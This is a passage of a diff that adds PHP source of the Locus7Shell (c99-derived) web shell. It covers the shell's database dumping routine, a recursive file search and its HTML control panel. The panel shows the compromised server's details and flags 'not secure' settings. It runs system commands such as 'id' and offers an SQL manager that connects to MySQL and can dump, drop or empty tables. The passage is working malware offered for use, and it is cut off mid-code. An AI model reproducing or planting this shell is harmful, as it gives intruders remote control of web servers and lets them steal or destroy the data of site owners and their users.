+{ +global $shver; +$sock = $set["sock"]; +$db = $set["db"]; +$print = $set["print"]; +$nl2br = $set["nl2br"]; +$file = $set["file"]; +$add_drop = $set["add_drop"]; +$tabs = $set["tabs"]; +$onlytabs = $set["onlytabs"]; +$ret = array(); +$ret["err"] = array(); +if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} +if (empty($db)) {$db = "db";} +if (empty($print)) {$print = 0;} +if (empty($nl2br)) {$nl2br = 0;} +if (empty($add_drop)) {$add_drop = TRUE;} +if (empty($file)) +{ + $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; +} +if (!is_array($tabs)) {$tabs = array();} +if (empty($add_drop)) {$add_drop = TRUE;} +if (sizeof($tabs) == 0) +{ + // retrive tables-list + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} +} +$out = "# Dumped by Locous7Shell.SQL v. ".$shver." +# Home page: http://www.Locus7s.com +# +# Host settings: +# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." +# Date: ".date("d.m.Y H:i:s")." +# DB: \"".$db."\" +#--------------------------------------------------------- +"; +$c = count($onlytabs); +foreach($tabs as $tab) +{ + if ((in_array($tab,$onlytabs)) or (!$c)) + { + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + // recieve query for create table structure + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + if (!$res) {$ret["err"][] = mysql_smarterror();} + else + { + $row = mysql_fetch_row($res); + $out .= $row["1"].";\n\n"; + // recieve table variables + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) + { + while ($row = mysql_fetch_assoc($res)) + { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + $out .= $sql; + } + } + } + } +} +$out .= "#---------------------------------------------------------------------------------\n\n"; +if ($file) +{ + $fp = fopen($file, "w"); + if (!$fp) {$ret["err"][] = 2;} + else + { + fwrite ($fp, $out); + fclose ($fp); + } +} +if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} +return $out; +} +} +if (!function_exists("mysql_buildwhere")) +{ +function mysql_buildwhere($array,$sep=" and",$functs=array()) +{ +if (!is_array($array)) {$array = array();} +$result = ""; +foreach($array as $k=>$v) +{ + $value = ""; + if (!empty($functs[$k])) {$value .= $functs[$k]."(";} + $value .= "'".addslashes($v)."'"; + if (!empty($functs[$k])) {$value .= ")";} + $result .= "`".$k."` = ".$value.$sep; +} +$result = substr($result,0,strlen($result)-strlen($sep)); +return $result; +} +} +if (!function_exists("mysql_fetch_all")) +{ +function mysql_fetch_all($query,$sock) +{ +if ($sock) {$result = mysql_query($query,$sock);} +else {$result = mysql_query($query);} +$array = array(); +while ($row = mysql_fetch_array($result)) {$array[] = $row;} +mysql_free_result($result); +return $array; +} +} +if (!function_exists("mysql_smarterror")) +{ +function mysql_smarterror($type,$sock) +{ +if ($sock) {$error = mysql_error($sock);} +else {$error = mysql_error();} +$error = htmlspecialchars($error); +return $error; +} +} +if (!function_exists("mysql_query_form")) +{ +function mysql_query_form() +{ +global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; +if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} +if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} +if ((!$submit) or ($sql_act)) +{ + echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>"; + if ($tbl_struct) + { + echo "<td valign=\"top\"><b>Fields:</b><br>"; + foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} + echo "</td></tr></table>"; + } +} +if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} +} +} +if (!function_exists("mysql_create_db")) +{ +function mysql_create_db($db,$sock="") +{ +$sql = "CREATE DATABASE `".addslashes($db)."`;"; +if ($sock) {return mysql_query($sql,$sock);} +else {return mysql_query($sql);} +} +} +if (!function_exists("mysql_query_parse")) +{ +function mysql_query_parse($query) +{ +$query = trim($query); +$arr = explode (" ",$query); +/*array array() +{ + "METHOD"=>array(output_type), + "METHOD1"... + ... +} +if output_type == 0, no output, +if output_type == 1, no output if no error +if output_type == 2, output without control-buttons +if output_type == 3, output with control-buttons +*/ +$types = array( + "SELECT"=>array(3,1), + "SHOW"=>array(2,1), + "DELETE"=>array(1), + "DROP"=>array(1) +); +$result = array(); +$op = strtoupper($arr[0]); +if (is_array($types[$op])) +{ + $result["propertions"] = $types[$op]; + $result["query"] = $query; + if ($types[$op] == 2) + { + foreach($arr as $k=>$v) + { + if (strtoupper($v) == "LIMIT") + { + $result["limit"] = $arr[$k+1]; + $result["limit"] = explode(",",$result["limit"]); + if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} + unset($arr[$k],$arr[$k+1]); + } + } + } +} +else {return FALSE;} +} +} +if (!function_exists("c99fsearch")) +{ +function c99fsearch($d) +{ +global $found; +global $found_d; +global $found_f; +global $search_i_f; +global $search_i_d; +global $a; +if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} +$h = opendir($d); +while (($f = readdir($h)) !== FALSE) +{ + if($f != "." && $f != "..") + { + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); + if (is_dir($d.$f)) + { + $search_i_d++; + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + if (!is_link($d.$f)) {c99fsearch($d.$f);} + } + else + { + $search_i_f++; + if ($bool) + { + if (!empty($a["text"])) + { + $r = @file_get_contents($d.$f); + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + else {$bool = strpos(" ".$r,$a["text"],1);} + if ($a["text_not"]) {$bool = !$bool;} + if ($bool) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } + } + } +} +closedir($h); +} +} +if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} +//Sending headers +@ob_start(); +@ob_implicit_flush(0); +function onphpshutdown() +{ +global $gzipencode,$ft; +if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) +{ + $v = @ob_get_contents(); + @ob_end_clean(); + @ob_start("ob_gzHandler"); + echo $v; + @ob_end_flush(); +} +} +function c99shexit() +{ +onphpshutdown(); +exit; +} +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", FALSE); +header("Pragma: no-cache"); +if (empty($tmpdir)) +{ +$tmpdir = ini_get("upload_tmp_dir"); +if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} +} +$tmpdir = realpath($tmpdir); +$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); +if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} +if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} +else {$tmpdir_logs = realpath($tmpdir_logs);} +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ +$safemode = TRUE; +$hsafemode = "<font color=red>ON (secure)</font>"; +} +else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";} +$v = @ini_get("open_basedir"); +if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";} +else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";} +$sort = htmlspecialchars($sort); +if (empty($sort)) {$sort = $sort_default;} +$sort[1] = strtolower($sort[1]); +$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); +if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} +$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE)); +@ini_set("highlight.bg",$highlight_bg); //FFFFFF +@ini_set("highlight.comment",$highlight_comment); //#FF8000 +@ini_set("highlight.default",$highlight_default); //#0000BB +@ini_set("highlight.html",$highlight_html); //#000000 +@ini_set("highlight.keyword",$highlight_keyword); //#007700 +@ini_set("highlight.string",$highlight_string); //#DD0000 +if (!is_array($actbox)) {$actbox = array();} +$dspact = $act = htmlspecialchars($act); +$disp_fullpath = $ls_arr = $notls = null; +$ud = urlencode($d); +?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - Locus7Shell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #009900; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #009900; scrollbar-shadow-color: #000000; scrollbar-highlight-color: #00CC00; scrollbar-3dlight-color: #00CC00; scrollbar-darkshadow-color: #009900; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #000000; COLOR: green; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #009900; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #f89521; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #f89521; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #f89521; TEXT-DECORATION: none;}A:hover { COLOR: #f89521; TEXT-DECORATION: bold;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #009900; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #009900; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #009900; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #009900; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #009900; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #009900; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #009900; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #009900;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><center><img src="http://img244.imageshack.us/img244/6663/locus7sgm8.jpg"></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} +$d = str_replace("\\\\","\\",$d); +$dispd = htmlspecialchars($d); +$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); +$i = 0; +foreach($pd as $b) +{ +$t = ""; +$j = 0; +foreach ($e as $r) +{ + $t.= $r.DIRECTORY_SEPARATOR; + if ($j == $i) {break;} + $j++; +} +echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>"; +$i++; +} +echo "&nbsp;&nbsp;&nbsp;"; +if (is_writable($d)) +{ +$wd = TRUE; +$wdt = "<font color=green>[ ok ]</font>"; +echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>"; +} +else +{ +$wd = FALSE; +$wdt = "<font color=red>[ Read-Only ]</font>"; +echo "<b>".view_perms_color($d)."</b>"; +} +if (is_callable("disk_free_space")) +{ +$free = disk_free_space($d); +$total = disk_total_space($d); +if ($free === FALSE) {$free = 0;} +if ($total === FALSE) {$total = 0;} +if ($free < 0) {$free = 0;} +if ($total < 0) {$total = 0;} +$used = $total-$free; +$free_percent = round(100/($total/$free),2); +echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>"; +} +echo "<br>"; +echo "<b>Your ip: <a href=http://whois.domaintools.com/".$_SERVER["REMOTE_ADDR"].">".$_SERVER["REMOTE_ADDR"]."</a> - Server ip: <a href=http://whois.domaintools.com/".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a></b><br/>"; +$letters = ""; +if ($win) +{ +$v = explode("\\",$d); +$v = $v[0]; +foreach (range("a","z") as $letter) +{ + $bool = $isdiskette = in_array($letter,$safemode_diskettes); + if (!$bool) {$bool = is_dir($letter.":\\");} + if ($bool) + { + $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ "; + if ($letter.":" != $v) {$letters .= $letter;} + else {$letters .= "<font color=green>".$letter."</font>";} + $letters .= " ]</a> "; + } +} +if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";} +} +if (count($quicklaunch) > 0) +{ +foreach($quicklaunch as $item) +{ + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;"; +} +} +echo "</p></td></tr></table><br>"; +if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";} +echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">"; +if ($act == "") {$act = $dspact = "ls";} +if ($act == "sql") +{ +$sql_surl = $surl."act=sql"; +if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} +if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} +if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} +if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} +if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} +$sql_surl .= "&"; +?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php +if ($sql_server) +{ + $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); + $err = mysql_smarterror(); + @mysql_select_db($sql_db,$sql_sock); + if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} +} +else {$sql_sock = FALSE;} +echo "<b>SQL Manager:</b><br>"; +if (!$sql_sock) +{ + if (!$sql_server) {echo "NO CONNECTION";} + else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";} +} +else +{ + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); + $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + $sqlquicklaunch[] = array("Logout",$surl."act=sql"); + echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>"; + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}} + echo "</center>"; +} +echo "</td></tr><tr>"; +if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php } +else +{ + //Start left panel + if (!empty($sql_db)) + { + ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_tables($sql_db); + if (!$result) {echo mysql_smarterror();} + else + { + echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>+&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} + } + } + else + { + ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_dbs($sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php + $c = 0; + $dbs = ""; + while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} + echo "<option value=\"\">Databases (".$c.")</option>"; + echo $dbs; + } + ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php + } + //End left panel + echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">"; + //Start center panel + $diplay = TRUE; + if ($sql_db) + { + if (!is_numeric($c)) {$c = 0;} + if ($c == 0) {$c = "no";} + echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>"; + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} + echo "</b></center>"; + $acts = array("","dump"); + if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} + elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} + elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} + elseif ($sql_tbl_act == "insert") + { + if ($sql_tbl_insert_radio == 1) + { + $keys = ""; + $akeys = array_keys($sql_tbl_insert); + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + $values = ""; + $i = 0; + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + elseif ($sql_tbl_insert_radio == 2) + { + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + $result = mysql_query($sql_query) or print(mysql_smarterror()); + $result = mysql_fetch_array($result, MYSQL_ASSOC); + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + } + if ($sql_act == "query") + { + echo "<hr size=\"1\" noshade>"; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";} + } + if (in_array($sql_act,$acts)) + { + ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php + if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} + if ($sql_act == "newtbl") + { + + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + elseif ($sql_act == "dump") + { + if (empty($submit)) + 